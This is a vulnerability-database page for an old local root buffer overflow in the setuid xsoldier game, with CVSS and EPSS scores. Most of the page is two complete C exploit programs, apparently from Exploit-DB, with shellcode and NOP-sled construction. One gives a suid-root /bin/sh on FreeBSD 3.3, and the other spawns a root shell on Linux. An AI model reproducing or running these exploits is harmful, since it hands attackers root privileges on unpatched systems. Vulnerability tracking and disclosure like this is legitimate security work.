CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
xsoldier program allows local users to gain root access via a long argument.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.15%
2025-04-15
–
–
–
–
0.15%
2025-04-15
–
–
–
–
0.15,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/871/info
Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console.
The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string.
The user does not have to have a valid $DISPLAY to exploit this.
/*
* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier btellier@usa.net
*/
#include <stdio.h>
char shell[]= /* mudge@l0pht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
void buildui() {
FILE *fp;
char cc[100];
fp = fopen("/tmp/ui.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
system(cc);
}
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4400;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
buildui();
if (argv[1]) {
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier@usa.net>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
for ( x = 0; x < 4325; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[bsize]='\0';
execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);
}
Publication date : 2000-05-16 22h00 +00:00 Author : Larry W. Cashdollar EDB Verified : Yes
/*
source: https://www.securityfocus.com/bid/871/info
Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console.
The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string.
The user does not have to have a valid $DISPLAY to exploit this.
*/
/*Larry W. Cashdollar linux xsolider exploit.
*lwc@vapid.dhs.org http://vapid.dhs.org
*if xsolider is built and installed from its source it will be installed
*setuid root in /usr/local/games
*original exploit found by brock tellier for freebsd 3.3 ports packages.
*If a setregid() call is placed in the shellcode, you can get egid=12
*with the default mandrake installation.*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction. */
#define LEN 4480 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i, offset;
long retaddr = get_sp ();
if (argc <= 1)
offset = 0;
else
offset = atoi (argv[1]);
/*#Copy the NOPs in to the buffer leaving space for shellcode and
#pointers*/
for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
*(buffer + i) = NOP;
/*[NNNNNNNNNNNNNNNNNNNNN ]*/
/* ^-- LEN -(strlen(shellcode)) - 35*/
/*#Copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS ]*/
/* ^-(buffer+i) */
/*#Fill the buffer with our new address to jump to esp + offset */
for (i = i + strlen (shellcode); i < LEN; i += 4)
*(long *) &buffer[i] = retaddr+offset;
/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/
/* ^-(i+strlen(shellcode))*/
printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN);
execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0);
}